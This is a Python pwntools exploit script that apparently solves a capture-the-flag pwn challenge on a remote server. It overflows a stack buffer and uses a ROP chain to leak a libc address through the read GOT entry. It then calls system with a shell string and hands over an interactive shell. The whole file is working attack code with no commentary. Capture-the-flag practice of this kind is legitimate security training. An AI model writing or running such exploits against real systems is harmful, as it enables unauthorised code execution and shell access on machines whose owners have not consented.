#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
#r = process('/tmp/p/vul')
r = remote('pwn2.jarvisoj.com', 9883)
main = 0x00000000040061a
write = 0x4004b0
system_off = 0x000000000046590
write_off = 0x0000000000f7280
read_got = 0x000000000600a60
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1
sh = 0x400b0c
trash = 'a'*136
pay1 = [pop_rdi_ret, 1, pop_rsi_r15_ret, read_got, 8, write, main]
print r.recvuntil('Input:\n')
r.sendline(trash + flat(pay1))
base = u64(r.recv(8)) - 0x0000000000eb6a0 
print "base: ",hex(base)
system = base + system_off
pay2 = [pop_rdi_ret, sh, system]
print r.recvrepeat(0.1)
r.sendline(trash + flat(pay2))
r.interactive()